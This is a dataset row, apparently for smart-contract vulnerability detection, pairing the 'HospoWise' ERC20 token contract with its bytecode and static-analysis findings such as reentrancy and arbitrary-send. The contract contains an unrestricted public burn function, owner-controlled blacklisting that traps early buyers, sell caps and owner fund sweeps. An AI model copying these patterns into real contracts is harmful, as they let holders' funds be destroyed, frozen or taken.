constructor() ERC20("HospoWise", "HOSPO") {
sellFee.devFee = 35;
sellFee.liquidityFee = 10;
totalSellFee = 45;
buyFee.devFee = 35;
buyFee.liquidityFee = 10;
totalBuyFee = 45;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
// Create a uniswap pair for this new token
address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = _uniswapV2Pair;
_setAutomatedMarketMakerPair(_uniswapV2Pair, true);
// exclude from paying fees or having max transaction amount
excludeFromFees(owner(), true);
excludeFromFees(_devWallet, true);
excludeFromFees(address(this), true);
/*
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
*/
_mint(owner(), 22_000_000_000_001 * (10**18)); //22,000,000,000,001 tokens
}
receive() external payable {}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function setAntibot(bool value) external onlyOwner {
isAntiBotEnabled = value;
}
function burn(address account, uint256 amount) public {
_burn(account, amount);
}
function updateRouter(address newAddress) external onlyOwner {
require(
newAddress != address(uniswapV2Router),
"Hospo: The router already has that address"
);
uniswapV2Router = IUniswapV2Router02(newAddress);
address get_pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(
address(this),
uniswapV2Router.WETH()
);
if (get_pair == address(0)) {
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())
.createPair(address(this), uniswapV2Router.WETH());
} else {
uniswapV2Pair = get_pair;
}
}
function claimStuckTokens(address _token) external onlyOwner {
if (_token == address(0x0)) {
payable(owner()).transfer(address(this).balance);
return;
}
IERC20 erc20token = IERC20(_token);
uint256 balance = erc20token.balanceOf(address(this));
erc20token.transfer(owner(), balance);
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
require(
_isExcludedFromFees[account] != excluded,
"Hospo: Account is already excluded"
);
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function excludeMultipleAccountsFromFees(
address[] calldata accounts,
bool excluded
) public onlyOwner {
for (uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFees[accounts[i]] = excluded;
}
emit ExcludeMultipleAccountsFromFees(accounts, excluded);
}
function setDevWallet(address payable wallet) external onlyOwner {
require(wallet != address(0), "dev wallet address can't be zero");
_devWallet = wallet;
}
function setSwapAtAmount(uint256 value) external onlyOwner {
require(value > 2000000, "should be greator than 2 million tokens");
swapTokensAtAmount = value * 10**18;
}
function setMaxWallet(uint256 value) external onlyOwner {
require(
value > 2200000001,
" amount should be greator than 0.01% of the supply"
);
maxWalletAmount = value * 10**18;
}
function setMaxTx(uint256 value) external onlyOwner {
require(
value > 2200000001,
" amount should be greator than 0.01% of the supply"
);
maxTxAmount = value * 10**18;
}
function setBlackList(address addr, bool value) external onlyOwner {
_isBlackListed[addr] = value;
}
function setDailyCap(uint256 value) external onlyOwner {
require (value > 10, "cap should more than 10 ether");
dailyCap = value * 10**18;
}
function setAutomatedMarketMakerPair(address pair, bool value)
public
onlyOwner
{
require(
pair != uniswapV2Pair,
"Hospo: The PancakeSwap pair cannot be removed from automatedMarketMakerPairs"
);
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
require(
automatedMarketMakerPairs[pair] != value,
"Hospo: Automated market maker pair is already set to that value"
);
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
// call this function before starting presale
function prepareForPresale(address presaleAddress) external onlyOwner {
buyFee.devFee = 0;
buyFee.liquidityFee = 0;
sellFee.devFee = 0;
sellFee.liquidityFee = 0;
_isExcludedFromFees[presaleAddress] = true;
}
// call this function once liquiidity is added
function startTrading() external onlyOwner {
buyFee.devFee = 35;
buyFee.liquidityFee = 10;
sellFee.devFee = 35;
sellFee.liquidityFee = 10;
isTradingEnabled = true;
tradingStartBlock = block.number;
}
function isExcludedFromFees(address account) public view returns (bool) {
return _isExcludedFromFees[account];
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(
!_isBlackListed[from] && !_isBlackListed[to],
"Account is blacklisted"
);
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
!swapping &&
!automatedMarketMakerPairs[from] &&
from != owner() &&
to != owner()
) {
swapping = true;
contractTokenBalance = swapTokensAtAmount;
uint256 swapTokens = contractTokenBalance
.mul(sellFee.liquidityFee)
.div(totalBuyFee + totalSellFee);
if (swapTokens > 0) {
swapAndLiquify(swapTokens);
}
uint256 feeTokens = contractTokenBalance - swapTokens;
if (feeTokens > 0) {
super._transfer(address(this), _devWallet, feeTokens);
}
swapping = false;
}
bool takeFee = !swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
if (takeFee) {
require(amount <= maxTxAmount, "Amount exceeds limit");
if (isAntiBotEnabled) {
require(block.number > lastBlock, "One transfer per block");
lastBlock = block.number;
}
if (!automatedMarketMakerPairs[to]) {
require(
balanceOf(to) + amount <= maxWalletAmount,
"Balance exceeds limit"
);
}
uint256 fees;
if (automatedMarketMakerPairs[to]) {
require(isTradingEnabled, "Trading not enabled yet");
fees = totalSellFee;
if (block.timestamp - lastSoldTime[from] > 1 days) {
lastSoldTime[from] = block.timestamp;
soldTokenin24Hrs[from] = 0;
}
uint256 ethAmount = getPriceOfToken(amount);
require(
soldTokenin24Hrs[from] + ethAmount < dailyCap,
"Token amount exceeds daily sell limit"
);
soldTokenin24Hrs[from] = soldTokenin24Hrs[from].add(ethAmount);
} else if (automatedMarketMakerPairs[from]) {
if (block.number < tradingStartBlock + BLOCKCOUNT) {
_isBlackListed[to] = true;
}
fees = totalBuyFee;
}
uint256 feeAmount = amount.mul(fees).div(1000);
amount = amount.sub(feeAmount);
super._transfer(from, address(this), feeAmount);
}
super._transfer(from, to, amount);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
address(0xdead),
block.timestamp
);
}
function swapAndLiquify(uint256 tokens) private {
// split the contract balance into halves
uint256 half = tokens.div(2);
uint256 otherHalf = tokens.sub(half);
uint256 initialBalance = address(this).balance;
// swap tokens for ETH
swapTokensForETH(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered
// how much ETH did we just swap into?
uint256 newBalance = address(this).balance.sub(initialBalance);
// add liquidity to uniswap
addLiquidity(otherHalf, newBalance);
emit SwapAndLiquify(half, newBalance, otherHalf);
}
function swapTokensForETH(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function getPriceOfToken(uint256 amount)
public
view
returns (uint256 price)
{
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
price = (uniswapV2Router.getAmountsOut(amount, path))[path.length - 1];
}
} | 0x60806040526004361061028c5760003560e01c8063715018a61161015a578063c492f046116100c1578063e2f456051161007a578063e2f456051461083a578063e71804cd14610850578063eb33939114610870578063eb935a5314610886578063f2fde38b146108b3578063f9d0831a146108d357600080fd5b8063c492f0461461075e578063c520ac281461077e578063c851cc321461079e578063d798cbd2146107be578063dcd6a95d146107d4578063dd62ed3e146107f457600080fd5b8063a457c2d711610113578063a457c2d714610698578063a9059cbb146106b8578063aa4bde28146106d8578063b62496f5146106ee578063bc3371821461071e578063c02466681461073e57600080fd5b8063715018a6146105fa5780638c0b5e221461060f5780638da5cb5b1461062557806395d89b41146106435780639a7a23d6146106585780639dc29fac1461067857600080fd5b8063313ce567116101fe5780635d0044ca116101b75780635d0044ca1461051357806361d371dd146105335780636402511e1461055457806368092bd9146105745780636c9bb93b1461059457806370a08231146105c457600080fd5b8063313ce5671461043e5780633950935114610460578063470624021461048057806349bd5a5e146104a55780634dce97f1146104c55780634fbee193146104da57600080fd5b80631694505e116102505780631694505e1461036a57806318160ddd1461038a5780631f53ac02146103a957806323b872dd146103c9578063293230b8146103e95780632b14ca56146103fe57600080fd5b8063064a59d01461029857806306fdde03146102ce5780630840a44a146102f0578063095ea7b31461031257806311a63e171461033257600080fd5b3661029357005b600080fd5b3480156102a457600080fd5b506007546102b990600160a81b900460ff1681565b60405190151581526020015b60405180910390f35b3480156102da57600080fd5b506102e36108f3565b6040516102c59190612788565b3480156102fc57600080fd5b5061031061030b3660046127dd565b610985565b005b34801561031e57600080fd5b506102b961032d36600461280b565b610a20565b34801561033e57600080fd5b50601354610352906001600160a01b031681565b6040516001600160a01b0390911681526020016102c5565b34801561037657600080fd5b50600654610352906001600160a01b031681565b34801561039657600080fd5b506002545b6040519081526020016102c5565b3480156103b557600080fd5b506103106103c4366004612837565b610a36565b3480156103d557600080fd5b506102b96103e4366004612854565b610ad8565b3480156103f557600080fd5b50610310610b82565b34801561040a57600080fd5b50600b546104239061ffff808216916201000090041682565b6040805161ffff9384168152929091166020830152016102c5565b34801561044a57600080fd5b5060125b60405160ff90911681526020016102c5565b34801561046c57600080fd5b506102b961047b36600461280b565b610be7565b34801561048c57600080fd5b50600a546104239061ffff808216916201000090041682565b3480156104b157600080fd5b50600754610352906001600160a01b031681565b3480156104d157600080fd5b5061044e606481565b3480156104e657600080fd5b506102b96104f5366004612837565b6001600160a01b031660009081526015602052604090205460ff1690565b34801561051f57600080fd5b5061031061052e3660046127dd565b610c23565b34801561053f57600080fd5b506007546102b990600160b01b900460ff1681565b34801561056057600080fd5b5061031061056f3660046127dd565b610c88565b34801561058057600080fd5b5061031061058f3660046128a3565b610d2c565b3480156105a057600080fd5b506102b96105af366004612837565b60146020526000908152604090205460ff1681565b3480156105d057600080fd5b5061039b6105df366004612837565b6001600160a01b031660009081526020819052604090205490565b34801561060657600080fd5b50610310610d81565b34801561061b57600080fd5b5061039b600e5481565b34801561063157600080fd5b506005546001600160a01b0316610352565b34801561064f57600080fd5b506102e3610db7565b34801561066457600080fd5b506103106106733660046128a3565b610dc6565b34801561068457600080fd5b5061031061069336600461280b565b610e97565b3480156106a457600080fd5b506102b96106b336600461280b565b610ea1565b3480156106c457600080fd5b506102b96106d336600461280b565b610f3a565b3480156106e457600080fd5b5061039b600f5481565b3480156106fa57600080fd5b506102b9610709366004612837565b60166020526000908152604090205460ff1681565b34801561072a57600080fd5b506103106107393660046127dd565b610f47565b34801561074a57600080fd5b506103106107593660046128a3565b610fac565b34801561076a57600080fd5b506103106107793660046128dc565b6110af565b34801561078a57600080fd5b50610310610799366004612837565b61118b565b3480156107aa57600080fd5b506103106107b9366004612837565b6111f2565b3480156107ca57600080fd5b5061039b60085481565b3480156107e057600080fd5b5061039b6107ef3660046127dd565b6115c5565b34801561080057600080fd5b5061039b61080f366004612962565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561084657600080fd5b5061039b600d5481565b34801561085c57600080fd5b5061031061086b366004612990565b611740565b34801561087c57600080fd5b5061039b60105481565b34801561089257600080fd5b5061039b6108a1366004612837565b60126020526000908152604090205481565b3480156108bf57600080fd5b506103106108ce366004612837565b611788565b3480156108df57600080fd5b506103106108ee366004612837565b611823565b606060038054610902906129ad565b80601f016020809104026020016040519081016040528092919081815260200182805461092e906129ad565b801561097b5780601f106109505761010080835404028352916020019161097b565b820191906000526020600020905b81548152906001019060200180831161095e57829003601f168201915b5050505050905090565b6005546001600160a01b031633146109b85760405162461bcd60e51b81526004016109af906129e8565b60405180910390fd5b600a8111610a085760405162461bcd60e51b815260206004820152601d60248201527f6361702073686f756c64206d6f7265207468616e20313020657468657200000060448201526064016109af565b610a1a81670de0b6b3a7640000612a33565b60105550565b6000610a2d33848461199b565b50600192915050565b6005546001600160a01b03163314610a605760405162461bcd60e51b81526004016109af906129e8565b6001600160a01b038116610ab65760405162461bcd60e51b815260206004820181905260248201527f6465762077616c6c657420616464726573732063616e2774206265207a65726f60448201526064016109af565b601380546001600160a01b0319166001600160a01b0392909216919091179055565b6000610ae5848484611abf565b6001600160a01b038416600090815260016020908152604080832033845290915290205482811015610b6a5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084016109af565b610b77853385840361199b565b506001949350505050565b6005546001600160a01b03163314610bac5760405162461bcd60e51b81526004016109af906129e8565b600a8054620a002363ffffffff199182168117909255600b805490911690911790556007805460ff60a81b1916600160a81b17905543600855565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610a2d918590610c1e908690612a52565b61199b565b6005546001600160a01b03163314610c4d5760405162461bcd60e51b81526004016109af906129e8565b63832156018111610c705760405162461bcd60e51b81526004016109af90612a6a565b610c8281670de0b6b3a7640000612a33565b600f5550565b6005546001600160a01b03163314610cb25760405162461bcd60e51b81526004016109af906129e8565b621e84808111610d145760405162461bcd60e51b815260206004820152602760248201527f73686f756c642062652067726561746f72207468616e2032206d696c6c696f6e60448201526620746f6b656e7360c81b60648201526084016109af565b610d2681670de0b6b3a7640000612a33565b600d5550565b6005546001600160a01b03163314610d565760405162461bcd60e51b81526004016109af906129e8565b6001600160a01b03919091166000908152601460205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610dab5760405162461bcd60e51b81526004016109af906129e8565b610db560006120a8565b565b606060048054610902906129ad565b6005546001600160a01b03163314610df05760405162461bcd60e51b81526004016109af906129e8565b6007546001600160a01b0383811691161415610e895760405162461bcd60e51b815260206004820152604c60248201527f486f73706f3a205468652050616e63616b655377617020706169722063616e6e60448201527f6f742062652072656d6f7665642066726f6d206175746f6d617465644d61726b60648201526b65744d616b6572506169727360a01b608482015260a4016109af565b610e9382826120fa565b5050565b610e9382826121e3565b3360009081526001602090815260408083206001600160a01b038616845290915281205482811015610f235760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016109af565b610f30338585840361199b565b5060019392505050565b6000610a2d338484611abf565b6005546001600160a01b03163314610f715760405162461bcd60e51b81526004016109af906129e8565b63832156018111610f945760405162461bcd60e51b81526004016109af90612a6a565b610fa681670de0b6b3a7640000612a33565b600e5550565b6005546001600160a01b03163314610fd65760405162461bcd60e51b81526004016109af906129e8565b6001600160a01b03821660009081526015602052604090205460ff16151581151514156110505760405162461bcd60e51b815260206004820152602260248201527f486f73706f3a204163636f756e7420697320616c7265616479206578636c7564604482015261195960f21b60648201526084016109af565b6001600160a01b038216600081815260156020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b031633146110d95760405162461bcd60e51b81526004016109af906129e8565b60005b8281101561114a5781601560008686858181106110fb576110fb612abc565b90506020020160208101906111109190612837565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790558061114281612ad2565b9150506110dc565b507f7fdaf542373fa84f4ee8d662c642f44e4c2276a217d7d29e548b6eb29a233b3583838360405161117e93929190612aed565b60405180910390a1505050565b6005546001600160a01b031633146111b55760405162461bcd60e51b81526004016109af906129e8565b600a805463ffffffff19908116909155600b805490911690556001600160a01b03166000908152601560205260409020805460ff19166001179055565b6005546001600160a01b0316331461121c5760405162461bcd60e51b81526004016109af906129e8565b6006546001600160a01b038281169116141561128d5760405162461bcd60e51b815260206004820152602a60248201527f486f73706f3a2054686520726f7574657220616c7265616479206861732074686044820152696174206164647265737360b01b60648201526084016109af565b600680546001600160a01b0319166001600160a01b0383169081179091556040805163c45a015560e01b815290516000929163c45a01559160048083019260209291908290030181865afa1580156112e9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061130d9190612b46565b6001600160a01b031663e6a4390530600660009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561136f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113939190612b46565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa1580156113de573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114029190612b46565b90506001600160a01b0381166115a457600660009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611465573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114899190612b46565b6001600160a01b031663c9c6539630600660009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156114eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061150f9190612b46565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561155c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115809190612b46565b600780546001600160a01b0319166001600160a01b03929092169190911790555050565b600780546001600160a01b0383166001600160a01b03199091161790555050565b6040805160028082526060820183526000928392919060208301908036833701905050905030816000815181106115fe576115fe612abc565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611657573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061167b9190612b46565b8160018151811061168e5761168e612abc565b6001600160a01b03928316602091820292909201015260065460405163d06ca61f60e01b815291169063d06ca61f906116cd9086908590600401612bbd565b600060405180830381865afa1580156116ea573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526117129190810190612bde565b600182516117209190612c9c565b8151811061173057611730612abc565b6020026020010151915050919050565b6005546001600160a01b0316331461176a5760405162461bcd60e51b81526004016109af906129e8565b60078054911515600160b01b0260ff60b01b19909216919091179055565b6005546001600160a01b031633146117b25760405162461bcd60e51b81526004016109af906129e8565b6001600160a01b0381166118175760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016109af565b611820816120a8565b50565b6005546001600160a01b0316331461184d5760405162461bcd60e51b81526004016109af906129e8565b6001600160a01b038116611894576005546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610e93573d6000803e3d6000fd5b6040516370a0823160e01b815230600482015281906000906001600160a01b038316906370a0823190602401602060405180830381865afa1580156118dd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119019190612cb3565b9050816001600160a01b031663a9059cbb6119246005546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303816000875af1158015611971573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119959190612ccc565b50505050565b6001600160a01b0383166119fd5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016109af565b6001600160a01b038216611a5e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016109af565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316611ae55760405162461bcd60e51b81526004016109af90612ce9565b6001600160a01b03831660009081526014602052604090205460ff16158015611b2757506001600160a01b03821660009081526014602052604090205460ff16155b611b6c5760405162461bcd60e51b81526020600482015260166024820152751058d8dbdd5b9d081a5cc8189b1858dadb1a5cdd195960521b60448201526064016109af565b80611b8257611b7d83836000612331565b505050565b30600090815260208190526040902054600d5481108015908190611bb05750600754600160a01b900460ff16155b8015611bd557506001600160a01b03851660009081526016602052604090205460ff16155b8015611bef57506005546001600160a01b03868116911614155b8015611c0957506005546001600160a01b03858116911614155b15611cb7576007805460ff60a01b1916600160a01b179055600d54600c54909250600090611c6a90611c479061ffff62010000820481169116612d2e565b600b5461ffff91821691611c6491879162010000909104166124c6565b906124d9565b90508015611c7b57611c7b816124e5565b6000611c878285612c9c565b90508015611ca757601354611ca79030906001600160a01b031683612331565b50506007805460ff60a01b191690555b6007546001600160a01b03861660009081526015602052604090205460ff600160a01b909204821615911680611d0557506001600160a01b03851660009081526015602052604090205460ff165b15611d0e575060005b801561209557600e54841115611d5d5760405162461bcd60e51b8152602060048201526014602482015273105b5bdd5b9d08195e18d959591cc81b1a5b5a5d60621b60448201526064016109af565b600754600160b01b900460ff1615611dbe576009544311611db95760405162461bcd60e51b81526020600482015260166024820152754f6e65207472616e736665722070657220626c6f636b60501b60448201526064016109af565b436009555b6001600160a01b03851660009081526016602052604090205460ff16611e5157600f5484611e01876001600160a01b031660009081526020819052604090205490565b611e0b9190612a52565b1115611e515760405162461bcd60e51b815260206004820152601560248201527410985b185b98d948195e18d959591cc81b1a5b5a5d605a1b60448201526064016109af565b6001600160a01b03851660009081526016602052604081205460ff161561200357600754600160a81b900460ff16611ecb5760405162461bcd60e51b815260206004820152601760248201527f54726164696e67206e6f7420656e61626c65642079657400000000000000000060448201526064016109af565b50600c546001600160a01b0387166000908152601160205260409020546201000090910461ffff16906201518090611f039042612c9c565b1115611f30576001600160a01b038716600090815260116020908152604080832042905560129091528120555b6000611f3b866115c5565b6010546001600160a01b038a1660009081526012602052604090205491925090611f66908390612a52565b10611fc15760405162461bcd60e51b815260206004820152602560248201527f546f6b656e20616d6f756e742065786365656473206461696c792073656c6c206044820152641b1a5b5a5d60da1b60648201526084016109af565b6001600160a01b038816600090815260126020526040902054611fe4908261256c565b6001600160a01b03891660009081526012602052604090205550612067565b6001600160a01b03871660009081526016602052604090205460ff16156120675760085461203390606490612a52565b43101561205e576001600160a01b0386166000908152601460205260409020805460ff191660011790555b50600c5461ffff165b60006120796103e8611c6488856124c6565b90506120858682612578565b9550612092883083612331565b50505b6120a0868686612331565b505050505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b03821660009081526016602052604090205460ff161515811515141561218f5760405162461bcd60e51b815260206004820152603f60248201527f486f73706f3a204175746f6d61746564206d61726b6574206d616b657220706160448201527f697220697320616c72656164792073657420746f20746861742076616c75650060648201526084016109af565b6001600160a01b038216600081815260166020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6001600160a01b0382166122435760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084016109af565b6001600160a01b038216600090815260208190526040902054818110156122b75760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b60648201526084016109af565b6001600160a01b03831660009081526020819052604081208383039055600280548492906122e6908490612c9c565b90915550506040518281526000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3505050565b6001600160a01b0383166123575760405162461bcd60e51b81526004016109af90612ce9565b6001600160a01b0382166123b95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016109af565b6001600160a01b038316600090815260208190526040902054818110156124315760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016109af565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290612468908490612a52565b909155505081156124c157826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516124b891815260200190565b60405180910390a35b611995565b60006124d28284612a33565b9392505050565b60006124d28284612d54565b60006124f28260026124d9565b905060006125008383612578565b90504761250c83612584565b60006125184783612578565b905061252483826126d6565b60408051858152602081018390529081018490527f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619060600160405180910390a15050505050565b60006124d28284612a52565b60006124d28284612c9c565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106125b9576125b9612abc565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015612612573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126369190612b46565b8160018151811061264957612649612abc565b6001600160a01b03928316602091820292909201015260065461266f913091168461199b565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac947906126a8908590600090869030904290600401612d76565b600060405180830381600087803b1580156126c257600080fd5b505af11580156120a0573d6000803e3d6000fd5b6006546126ee9030906001600160a01b03168461199b565b60065460405163f305d71960e01b815230600482015260248101849052600060448201819052606482015261dead60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af115801561275c573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906127819190612db2565b5050505050565b600060208083528351808285015260005b818110156127b557858101830151858201604001528201612799565b818111156127c7576000604083870101525b50601f01601f1916929092016040019392505050565b6000602082840312156127ef57600080fd5b5035919050565b6001600160a01b038116811461182057600080fd5b6000806040838503121561281e57600080fd5b8235612829816127f6565b946020939093013593505050565b60006020828403121561284957600080fd5b81356124d2816127f6565b60008060006060848603121561286957600080fd5b8335612874816127f6565b92506020840135612884816127f6565b929592945050506040919091013590565b801515811461182057600080fd5b600080604083850312156128b657600080fd5b82356128c1816127f6565b915060208301356128d181612895565b809150509250929050565b6000806000604084860312156128f157600080fd5b833567ffffffffffffffff8082111561290957600080fd5b818601915086601f83011261291d57600080fd5b81358181111561292c57600080fd5b8760208260051b850101111561294157600080fd5b6020928301955093505084013561295781612895565b809150509250925092565b6000806040838503121561297557600080fd5b8235612980816127f6565b915060208301356128d1816127f6565b6000602082840312156129a257600080fd5b81356124d281612895565b600181811c908216806129c157607f821691505b602082108114156129e257634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615612a4d57612a4d612a1d565b500290565b60008219821115612a6557612a65612a1d565b500190565b60208082526032908201527f20616d6f756e742073686f756c642062652067726561746f72207468616e20306040820152712e303125206f662074686520737570706c7960701b606082015260800190565b634e487b7160e01b600052603260045260246000fd5b6000600019821415612ae657612ae6612a1d565b5060010190565b6040808252810183905260008460608301825b86811015612b30578235612b13816127f6565b6001600160a01b0316825260209283019290910190600101612b00565b5080925050508215156020830152949350505050565b600060208284031215612b5857600080fd5b81516124d2816127f6565b634e487b7160e01b600052604160045260246000fd5b600081518084526020808501945080840160005b83811015612bb25781516001600160a01b031687529582019590820190600101612b8d565b509495945050505050565b828152604060208201526000612bd66040830184612b79565b949350505050565b60006020808385031215612bf157600080fd5b825167ffffffffffffffff80821115612c0957600080fd5b818501915085601f830112612c1d57600080fd5b815181811115612c2f57612c2f612b63565b8060051b604051601f19603f83011681018181108582111715612c5457612c54612b63565b604052918252848201925083810185019188831115612c7257600080fd5b938501935b82851015612c9057845184529385019392850192612c77565b98975050505050505050565b600082821015612cae57612cae612a1d565b500390565b600060208284031215612cc557600080fd5b5051919050565b600060208284031215612cde57600080fd5b81516124d281612895565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b600061ffff808316818516808303821115612d4b57612d4b612a1d565b01949350505050565b600082612d7157634e487b7160e01b600052601260045260246000fd5b500490565b85815284602082015260a060408201526000612d9560a0830186612b79565b6001600160a01b0394909416606083015250608001529392505050565b600080600060608486031215612dc757600080fd5b835192506020840151915060408401519050925092509256fea26469706673582212207ad5b06dfa1aad72d9bb97c6e8b43211b4e92355854da0fa38e86d639f3f8f0564736f6c634300080c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
25746,
11057,
2692,
2683,
10790,
2683,
2063,
2509,
3401,
2487,
2050,
28756,
2094,
23632,
16409,
17914,
2575,
2094,
21057,
18827,
2050,
2683,
2487,
14141,
26976,
2620,
2549,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
1013,
1013,
5371,
1024,
1030,
4895,
2483,
4213,
2361,
1013,
1058,
2475,
1011,
23275,
1013,
8311,
1013,
19706,
1013,
1045,
19496,
26760,
9331,
2615,
2475,
22494,
3334,
24096,
1012,
14017,
1013,
1008,
14017,
10606,
2102,
1011,
4487,
19150,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1028,
1027,
1014,
1012,
1020,
1012,
1016,
1025,
